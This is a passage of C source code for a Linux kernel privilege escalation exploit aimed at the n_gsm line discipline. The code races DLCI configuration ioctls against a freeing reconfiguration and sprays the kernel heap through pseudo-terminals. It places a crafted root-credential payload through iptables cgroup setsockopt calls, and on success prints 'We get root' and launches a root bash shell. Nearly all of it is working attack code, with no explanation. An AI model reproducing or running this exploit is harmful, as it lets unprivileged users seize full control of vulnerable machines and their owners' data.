kernfs_payload.root_cred.cap_bset.val = 0; kernfs_payload.root_cred.cap_permitted.val = 0; kernfs_payload.root_cred.cap_ambient.val = 0; args_sandbox_kern_buff.payload = (uint8_t*) &kernfs_payload; args_sandbox_kern_buff.size = sizeof(kernfs_payload); retval = pthread_attr_init(&tattr_alloc_dlci); if (retval != 0) { fprintf(stderr, "Error init attribute for alloc thread, %s \n", strerror(retval)); goto error_init_attr_alloc; } retval = pthread_attr_setaffinity_np(&tattr_alloc_dlci, sizeof(cpu_set_t), &core_alloc_dlci); if (retval != 0) { fprintf(stderr, "Error set attribute affinity for alloc thread, %s \n", strerror(retval)); goto error_set_attrs; } sandbox_stack = malloc(STACK_SIZE_SANDBOX); if (sandbox_stack == NULL) { fprintf(stderr, "Error allocate stack for sandbox ipconfig, %s \n", strerror(errno)); goto error_alloc_sender_stack; } explotation_stack = malloc(STACK_SIZE_EXPLOTATION); if (explotation_stack == NULL) { fprintf(stderr, "Error allocate stack for explotation proccess, %s \n", strerror(errno)); goto error_alloc_fake_write_stack; } pid_sandbox = clone(thread_sender_kern_buff, sandbox_stack + STACK_SIZE_SANDBOX, clone_flags_sandbox, &args_sandbox_kern_buff, 0, 0, 0); if (pid_sandbox < 0) { fprintf(stderr, "Error create sanbox %s \n", strerror(errno)); goto error_sandbox_sender; } retval = waitpid(pid_sandbox, &proccess_ret, __WCLONE); if (retval < 0 ) { fprintf(stderr, "Error wait sandbox clone thread, %s \n", strerror(errno)); goto error_sandbox_sender; } retval = WEXITSTATUS(proccess_ret); if (retval != 0) { const char* sandbox_error = sandbox_str_error(args_sandbox_kern_buff.result.error); int number = args_sandbox_kern_buff.result.error_number; fprintf(stderr, "Error in sandbox, where %s and type %s \n", sandbox_error, strerror(number)); goto error_sandbox_sender; } retval = openpty(&fd_output, &fd_input, NULL, NULL, NULL); if (retval != 0) { fprintf(stderr, "Error create emulation tty, %s \n", strerror(errno)); goto error_create_emu_tty; } retval = ioctl(fd_input, TIOCSETD, &ldisc); if (retval != 0) { fprintf(stderr, "Error set line discipline N_GSM, %s \n", strerror(errno)); goto error_set_line_dspline; } arg_getconf_dlci.fd_input = fd_input; arg_getconf_dlci.config.channel = 1; arg_setconf_dlci.fd_input = fd_input; //init gsm retval = ioctl(fd_input, GSMIOC_SETCONF, &setconf_config); if (retval != 0) { fprintf(stderr, "Error init setconf gsm, %s \n", strerror(errno)); goto error_init_gsm; } skip_msg(fd_output); get_raw_msg(control_msg, 0, SABM | PF); retval = write(fd_output, control_msg, sizeof(control_msg)); if (retval == -1) { fprintf(stderr, "Error send open dlci 0, %s \n", strerror(errno)); goto error_open_dlci_zero; } skip_msg(fd_output); //alloc dlci 1 retval = pthread_create(&tid_getconf_dlci, &tattr_alloc_dlci, thread_getconf_dlci, &arg_getconf_dlci); if (retval != 0) { fprintf(stderr, "Error create get conf dlci thread, %s \n", strerror(retval)); goto error_create_getconf_dlci; } retval = pthread_join(tid_getconf_dlci, NULL); if (retval != 0) { fprintf(stderr, "Error thread join to getconf gsm %s \n", strerror(retval)); goto error_getconf_dlci; } else if (arg_getconf_dlci.retval != 0) { fprintf(stderr, "Error ioctl getconf thread %s \n", strerror(arg_getconf_dlci.error)); goto error_getconf_dlci; } get_raw_msg(control_msg, 1, SABM | PF); retval = write(fd_output, control_msg, sizeof(control_msg)); if (retval == -1) { fprintf(stderr, "Error send open dlci 1, %s \n", strerror(errno)); goto error_open_dlci_one; } skip_msg(fd_output); arg_setconf_dlci.config = arg_getconf_dlci.config; arg_setconf_dlci.config.adaption = 2; retval = pthread_create(&tid_setconf_dlci, NULL, thread_setconf_dlci, &arg_setconf_dlci); if (retval != 0) { fprintf(stderr, "Error create setconf dlci thread, %s \n", strerror(retval)); goto error_create_setconf_dlci; } skip_msg(fd_output); get_raw_msg(control_msg, 0, DISC | PF); retval = write(fd_output, control_msg, sizeof(control_msg)); if (retval == -1) { fprintf(stderr, "Error send close dlci zero, %s \n", strerror(errno)); goto error_close_dlci_zero; } skip_msg(fd_output); setconf_config.mru++; retval = ioctl(fd_input, GSMIOC_SETCONF, &setconf_config); if (retval != 0) { fprintf(stderr, "Error setconf free, %s \n", strerror(errno)); goto error_setconf_free; } arg_spray.count = spray_permisiible; arg_spray.data = heap_data; for (int i = 0; i < spray_permisiible; ++i) { openpty(&arg_spray.spray_fd1[i], &arg_spray.spray_fd2[i], NULL, NULL, NULL); } retval = pthread_create(&tid_spray, &tattr_alloc_dlci, thread_spray_kheap, &arg_spray); if (retval != 0) { fprintf(stderr, "Error create setconf dlci thread, %s \n", strerror(retval)); goto error_create_spray; } retval = pthread_join(tid_spray, NULL); if (retval != 0) { fprintf(stderr, "Error thread join to spray thread %s \n", strerror(retval)); goto error_spray; } get_raw_msg(control_msg, 0, SABM | PF); retval = write(fd_output, control_msg, sizeof(control_msg)); if (retval == -1) { fprintf(stderr, "Error wake up & open dlci zero %s \n", strerror(errno)); goto error_wake_up_dlci; } printf("waiting setconf dlci thread \n"); retval = pthread_join(tid_setconf_dlci, NULL); if (retval != 0) { fprintf(stderr, "Error join to setconf dlci thread %s \n", strerror(retval)); goto error_setconf_dlci; } printf("Wait 3 sec for ending kernel work execution \n"); sleep(3); if (getuid() != 0) { fprintf(stderr, "Error failed get root \n"); goto error_failed_root; } printf("We get root, spawn shell \n"); execve("/bin/bash", newargv, newenviron); exit_code_main = EXIT_SUCCESS; error_failed_root: error_setconf_dlci: error_wake_up_dlci: error_spray: error_create_spray: error_setconf_free: error_close_dlci_zero: error_create_setconf_dlci: error_open_dlci_one: error_getconf_dlci: error_create_getconf_dlci: error_open_dlci_zero: error_init_gsm: error_set_line_dspline: close(fd_output); close(fd_input); error_create_emu_tty: error_sandbox_sender: free(explotation_stack); error_alloc_fake_write_stack: free(sandbox_stack); error_alloc_sender_stack: error_set_attrs: pthread_attr_destroy(&tattr_alloc_dlci); error_init_attr_alloc: error_find_xen_note: error_read_kernel_notes: free(kernel_file_notes); error_alloc_kernel_notes: error_get_kernel_notes_file_stat: close(kernel_notes_fd); error_open_kernel_notes: error_pty_max_value: error_read_pty_max: close(pty_max_fd); error_pty_max: error_find_kernel: error_uname: error_arg: return exit_code_main; } void* thread_setconf(void* data) { targs_conf_gsm* args = (targs_conf_gsm*) data; args->retval = ioctl(args->fd_input, GSMIOC_SETCONF, &args->config); args->error = errno; return NULL; } void* thread_setconf_dlci(void* data) { targs_conf_dlci* args = (targs_conf_dlci*) data; args->retval = ioctl(args->fd_input, GSMIOC_SETCONF_DLCI, &args->config); args->error = errno; return NULL; } void* thread_getconf_dlci(void* data) { targs_conf_dlci* args = (targs_conf_dlci*) data; args->retval = ioctl(args->fd_input, GSMIOC_GETCONF_DLCI, &args->config); args->error = errno; return NULL; } void* thread_spray_kheap(void* data) { targs_alloc_kheap* args = (targs_alloc_kheap*) data; for (int i = 0; i < args->count; ++i) { write(args->spray_fd1[i], args->data, HEAP_SPRAY_SIZE - 1); } for (int i = 0; i < args->count; ++i) { write(args->spray_fd2[i], args->data, HEAP_SPRAY_SIZE - 1); } return NULL; } static void skip_msg(int fd) { unsigned char tmp_c; int sofs = 0; while(sofs != 2) { read(fd, &tmp_c, 1); if(tmp_c == GSM1_SOF) sofs++; } } static unsigned char gsm_fcs_add_block(unsigned char fcs, unsigned char *c, int len) { while (len--) fcs = gsm_fcs8[fcs ^ *c++]; return fcs; } static void get_raw_msg(uint8_t* buffer, uint8_t addr, uint8_t control) { buffer[0] = GSM1_SOF; buffer[1] = (addr << 2) | EA; buffer[2] = control; buffer[3] = 0xFF - gsm_fcs_add_block(INIT_FCS, &buffer[1], 2); buffer[4] = GSM1_SOF; } int get_part_of_static_payload(uint8_t* dst, uint8_t* src, int index) { int len = 0; for (;index > -1 && src[index] != 0; --index, ++len); if (len != 0) { memcpy(&dst[index + 1], &src[index + 1], len); ++len; } else if (index > 0) { --index; ++len; } if (index < 0) index = 0; else memset(dst, 0xd, index + 1); dst[index + len] = 0; return index; } int thread_sender_kern_buff(void *data) { int sock = 0; int lenght = 0; int ret = 0; int index = 0; uint16_t size_entry = sizeof(struct ipt_entry) + sizeof(struct xt_entry_match) + sizeof(struct xt_cgroup_info_v1) + sizeof(struct xt_standard_target); uint16_t target_offset = size_entry - sizeof(struct xt_standard_target); uint16_t target_size = sizeof(struct xt_standard_target); uint16_t match_size = sizeof(struct xt_entry_match) + sizeof(struct xt_cgroup_info_v1); uint8_t tmp_buffer[4096]; struct xt_counters counter = {0,0}; struct { struct ipt_replace replace; struct ipt_entry entry; struct xt_entry_match entry_math; struct xt_cgroup_info_v1 cgroup_info; struct xt_standard_target entry_target; } payload_xgcroup; payload_xgcroup.replace.num_counters = 1; payload_xgcroup.replace.num_entries = 1; payload_xgcroup.replace.counters = &counter; payload_xgcroup.replace.size = size_entry; payload_xgcroup.replace.valid_hooks = 0; payload_xgcroup.entry.target_offset = target_offset; payload_xgcroup.entry.next_offset = size_entry; payload_xgcroup.entry.ip.flags = 0; payload_xgcroup.entry.ip.invflags = 0; payload_xgcroup.entry_math.u.user.revision = 1; payload_xgcroup.entry_math.u.match_size = match_size; sprintf(payload_xgcroup.entry_math.u.user.name, "cgroup"); payload_xgcroup.entry_target.target.u.target_size = target_size; payload_xgcroup.entry_target.verdict = 1; payload_xgcroup.cgroup_info.invert_path = 1; payload_xgcroup.cgroup_info.invert_classid = 1; payload_xgcroup.cgroup_info.has_classid = 0; payload_xgcroup.cgroup_info.has_path = 1; targs_sender_kern_buff* args = (targs_sender_kern_buff*) data; index = args->size; args->result.error = 0; args->result.error_number = 0; if (index < 1) return 0; if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { args->result.error = SANDBOX_ERROR_SOCKET; args->result.error_number = errno; return -1; } do { index = get_part_of_static_payload(tmp_buffer, args->payload, index); lenght = strlen((char*) tmp_buffer); memcpy(&payload_xgcroup.cgroup_info.path, tmp_buffer, lenght + 1); ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, &payload_xgcroup, sizeof(struct ipt_replace)); if (ret < 0 && errno != EINVAL) { args->result.error = SANDBOX_ERROR_SETSOCKOPT; args->result.error_number = errno; return -1; } } while (index > 0); return 0; } const char* sandbox_str_error(enum sandbox_error error_number) { switch (error_number) { case SANDBOX_SUCCES: return "SUCCES"; case SANDBOX_ERROR_SOCKET: return "ERROR SOCKET"; case SANDBOX_ERROR_SETSOCKOPT: return "ERROR SETSOCKOPT"; default: return "UNKNOW"; } } static inline const void* get_descript_elf_note(Elf64_Nhdr* note) { return note->n_descsz == 0 ? NULL : (uint8_t*) note + sizeof(*note) + ALIGN_UP(note->n_namesz, 4); } static inline const char* get_name_elf_note(Elf64_Nhdr* note) { return note->n_namesz == 0 ? NULL : (const char*) note + sizeof(*note); } static inline Elf64_Nhdr* get_next_elf_note(Elf64_Nhdr* note) { return (Elf64_Nhdr*) ((uint8_t*) note + sizeof(*note) + ALIGN_UP(note->n_namesz, 4) + ALIGN_UP(note->n_descsz, 4)); }